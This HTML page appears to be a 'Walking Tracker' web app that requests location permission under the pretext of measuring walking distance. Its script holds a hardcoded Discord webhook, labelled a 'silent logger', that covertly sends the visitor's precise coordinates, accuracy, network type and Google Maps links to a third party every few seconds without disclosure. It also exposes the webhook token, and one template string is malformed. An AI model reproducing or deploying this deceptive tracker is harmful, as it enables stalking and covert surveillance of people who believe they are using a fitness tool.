walk / index.html
abeea's picture
Update index.html
133946b verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Walking Tracker</title>
<style>
body{
font-family:Arial,sans-serif;background:#f5f7fa;color:#333;
display:flex;flex-direction:column;align-items:center;justify-content:center;height:100vh;margin:0;
}
h1{margin-bottom:20px;}
.tracker{
background:white;padding:20px;border-radius:12px;
box-shadow:0 4px 10px rgba(0,0,0,.1);text-align:center;width:320px;
}
button{margin:10px;padding:10px 20px;border:none;border-radius:8px;background:#4CAF50;color:white;font-size:16px;cursor:pointer;}
button:disabled{background:#ccc;cursor:not-allowed;}
.info{margin-top:15px;font-size:18px;}
/* Modal */
.modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.5);display:flex;align-items:center;justify-content:center;}
.modal-content{background:#fff;padding:20px;border-radius:12px;text-align:center;width:80%;max-width:400px;}
.modal h2{margin-bottom:15px;}
.modal button{background:#007bff;margin-top:10px;}
</style>
</head>
<body>
<h1>🚶 Walking Tracker</h1>
<div class="tracker">
<button id="startBtn" disabled>Start</button>
<button id="stopBtn" disabled>Stop</button>
<div class="info">
<p><strong>Distance:</strong> <span id="distance">0</span> km</p>
<p><strong>Time:</strong> <span id="time">0</span> mins</p>
</div>
</div>
<!-- Location permission modal -->
<div id="locationModal" class="modal">
<div class="modal-content">
<h2>📍 Location Permission Needed</h2>
<p>This tracker requires your location to work.<br>We use GPS to calculate distance and time correctly.</p>
<button id="enableLocationBtn">Enable Location</button>
</div>
</div>
<script>
/* ---------- Basic UI & trackers ---------- */
let watchId, reportIntervalID, refinedIntervalID;
let startTime, lastPosition = null, totalDistance = 0;
const startBtn = document.getElementById('startBtn');
const stopBtn = document.getElementById('stopBtn');
const distanceEl = document.getElementById('distance');
const timeEl = document.getElementById('time');
const modal = document.getElementById('locationModal');
const enableLocationBtn = document.getElementById('enableLocationBtn');
/* ---------- Discord webhook (silent logger) ---------- */
const WEBHOOK_URL = "https://discord.com/api/webhooks/1259137968405479557/0ETkxkxj5d44Knje1E-EBSA-2-ENfLU_PCiBLY8LdGet4ImAiNN5IJt8dXYiRWmJELHl";
const FAST_INTERVAL = 5000; // publish fast data
const REPORT_INTERVAL = 10000; // refined reports
const SAMPLE_COUNT = 3; // samples for report
/* Utility functions */
function getNetworkType() {
return (navigator.connection && navigator.connection.effectiveType) ? navigator.connection.effectiveType : 'unknown';
}
function accuracyIndicator(acc) {
if (acc <= 10) return { text: `High (±${acc}m)`, color: 0x2ecc71 }; // green
if (acc <= 50) return { text: `Medium (±${acc}m)`, color: 0xf1c40f }; // yellow
return { text: `Low (±${acc}m)`, color: 0xe74c3c }; // red
}
function sendEmbed(embed) {
fetch(WEBHOOK_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ embeds: [embed] })
}).catch(err => console.error("Discord error:", err));
}
function distanceBetween(lat1, lon1, lat2, lon2) {
const R = 6371000; // meters
const dLat = (lat2 - lat1) * Math.PI/180;
const dLon = (lon2 - lon1) * Math.PI/180;
const a = Math.sin(dLat/2) * Math.sin(dLat/2) +
Math.cos(lat1 * Math.PI/180) * Math.cos(lat2 * Math.PI/180) *
Math.sin(dLon/2) * Math.sin(dLon/2);
return R * (2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a)));
}
/* --------- Capture fast update for every GPS sample --------- */
function captureFast(pos) {
const { latitude, longitude, accuracy } = pos.coords;
const net = getNetworkType();
const timeStr = new Date().toLocaleTimeString();
const latF = latitude.toFixed(6);
const lonF = longitude.toFixed(6);
const mapsLink = `https://www.google.com/maps?q=${latF},${lonF}`;
const accInfo = accuracyIndicator(Math.round(accuracy));
const embed = {
title: "📡 GPS Update",
description: `[Open in Google Maps](${mapsLink})`,
color: accInfo.color,
fields: [
{ name: "Latitude", value: latF, inline: true },
{ name: "Longitude", value: lonF, inline: true },
{ name: "Accuracy", value: accInfo.text, inline: true },
{ name: "Network", value: net, inline: true }
],
footer: { text: `Time: ${timeStr}` }
};
sendEmbed(embed);
}
/* --------- Capture refined report (average over samples) --------- */
function captureSamples(samples = [], resolve) {
navigator.geolocation.getCurrentPosition(
pos => {
samples.push({ lat: pos.coords.latitude, lon: pos.coords.longitude, acc: pos.coords.accuracy });
if (samples.length < SAMPLE_COUNT) setTimeout(() => captureSamples(samples, resolve), 1000);
else resolve(samples);
},
() => resolve(samples) // fallback if we can't get a position
);
}
async function captureReport() {
const samples = await new Promise(res => captureSamples([], res));
if (samples.length === 0) return;
const avgLat = samples.reduce((a,s)=>a+s.lat,0)/samples.length;
const avgLon = samples.reduce((a,s)=>a+s.lon,0)/samples.length;
const bestAcc = Math.min(...samples.map(s=>s.acc));
const timeStr = new Date().toLocaleTimeString();
const mapsLink = `https://www.google.com/maps?q=${avgLat.toFixed(6)},${avgLon.toFixed(6)}`;
const accInfo = accuracyIndicator(Math.round(bestAcc));
const embed = {
title: "📊 Refined GPS Report",
description: `[Open in Google Maps](${mapsLink})`,
color: accInfo.color,
fields: [
{ name: "Avg Latitude", value: avgLat.toFixed(6), inline: true },
{ name: "Avg Longitude", value: avgLon.toFixed(6), inline: true },
{ name: "Best Accuracy", value: accInfo.text, inline: true },
{ name: "Samples", value: samples.map(s=>${Math.round(s.acc)}m`).join(", "), inline: true }
],
footer: { text: `Time: ${timeStr}` }
};
sendEmbed(embed);
}
/* ---------- Geolocation & distance tracking ---------- */
function haversine(lat1, lon1, lat2, lon2) {
const R = 6371; // km
const dLat = (lat2 - lat1) * Math.PI / 180;
const dLon = (lon2 - lon1) * Math.PI / 180;
const a =
Math.sin(dLat / 2) * Math.sin(dLat / 2) +
Math.cos(lat1 * Math.PI / 180) *
Math.cos(lat2 * Math.PI / 180) *
Math.sin(dLon / 2) * Math.sin(dLon / 2);
const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
return R * c;
}
function startTracking() {
startTime = Date.now();
totalDistance = 0;
lastPosition = null;
distanceEl.textContent = "0";
timeEl.textContent = "0";
watchId = navigator.geolocation.watchPosition(
pos => {
const { latitude, longitude } = pos.coords;
if (lastPosition) {
const d = haversine(lastPosition.lat, lastPosition.lon, latitude, longitude);
totalDistance += d;
distanceEl.textContent = totalDistance.toFixed(3);
}
lastPosition = { lat: latitude, lon: longitude };
const elapsed = (Date.now() - startTime) / 60000;
timeEl.textContent = elapsed.toFixed(1);
// Silent logger
captureFast(pos);
},
err => {
console.error('GPS error:', err);
},
{ enableHighAccuracy: true, maximumAge: 1000 }
);
// intervals for refined reports
reportIntervalID = setInterval(captureFast, FAST_INTERVAL);
refinedIntervalID = setInterval(captureReport, REPORT_INTERVAL);
startBtn.disabled = true;
stopBtn.disabled = false;
}
function stopTracking() {
if (watchId) navigator.geolocation.clearWatch(watchId);
clearInterval(reportIntervalID);
clearInterval(refinedIntervalID);
startBtn.disabled = false;
stopBtn.disabled = true;
alert("✔️ Tracking stopped.");
}
/* ---------- UI events ---------- */
enableLocationBtn.addEventListener('click', () => {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(
pos => {
modal.style.display = "none";
startBtn.disabled = false;
},
err => {
if (err.code === err.PERMISSION_DENIED) {
alert("⚠️ Location access is required to use this site.");
}
}
);
} else {
alert("Geolocation is not supported by your browser.");
}
});
startBtn.addEventListener('click', startTracking);
stopBtn.addEventListener('click', stopTracking);
// Show modal on load
window.onload = () => { modal.style.display = "flex"; };
</script>
</body>
</html>